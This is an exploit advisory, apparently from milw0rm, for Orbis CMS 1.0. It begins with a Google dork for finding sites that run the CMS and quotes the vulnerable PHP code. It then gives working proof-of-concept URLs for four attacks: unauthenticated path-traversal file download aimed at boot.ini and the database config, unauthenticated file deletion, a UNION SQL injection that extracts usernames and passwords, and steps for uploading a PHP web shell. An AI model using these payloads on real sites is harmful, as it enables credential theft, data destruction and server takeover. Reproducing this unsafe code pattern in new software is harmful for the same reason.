################################################################################################################################################
[+] Orbis CMS 1.0 (AFD/ADF/ASU/SQL) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
################################################################################################################################################

[+] Dork : Powered by Orbis CMS

[+] Download script : http://www.novo-ws.com/orbis-cms/download.shtml

[+]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Arbitrary File
Download <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[+]

 - No login required.

 - Vulnerable code in fileman_file_download.php

-----------------------------------------------------------------------------------
header('Content-Type: application/force-download');
header('Content-Disposition: attachment; filename="'.basename($_GET['fn']).'"');
readfile($_GET['fn']);
-----------------------------------------------------------------------------------

 - PoC's

    http://127.0.0.1/[path]/admin/fileman_file_download.php?fn=../../../../../../../boot.ini

    http://127.0.0.1/path/admin/fileman_file_download.php?fn=includes/config/db.php


[+]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Arbitrary Delete
File <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[+]

 - No login required.

 - Vulnerable code in fileman_file_delete.php

-----------------------------------------------------------------------------------------------
 $filename = $_GET['fn'];

 unlink($filename) or die("Couldn't delete ".$filename.". Please
contact your web designer.");
-----------------------------------------------------------------------------------------------

 - PoC

     http://127.0.0.1/[path]/admin/fileman_file_delete.php?fn=../uploads/example.jpg

[+]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> SQL Injection
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[+]

 - Login required.

 - Code from editor.php

---------------------------------------------
<?php require("includes/functions.php"); ?>
getSectionPage($_GET['s']);
----------------------------------- ----------

 - Vulnerable code in includes/functions.php

--------------------------------------------------------------------
function getSectionPage($id) {

 if(isset($id)) {
  require($_SESSION['inc_dir']."config/db.php");
  $sc=mysql_query('SELECT * FROM content WHERE id='.$id.'', $db);
--------------------------------------------------------------------

 - PoC

    http://127.0.0.1/[path]/admin/editor.php?s=null+union+all+select+1,2,3,4,5,concat_ws(0x3a,username,password)+from+security+where+user_id=1--&t=1


[+]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Arbitrary Shell
Upload <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[+]

 - Login required.


 1) Go to

      http://127.0.0.1/[path]/admin/fileman.php

 2) Select your shell and upload it

      shell.php

 3) You fill find your shell here

      http://127.0.0.1/[path]/uploads/shell.php

################################################################################################################################################

# milw0rm.com [2009-07-30]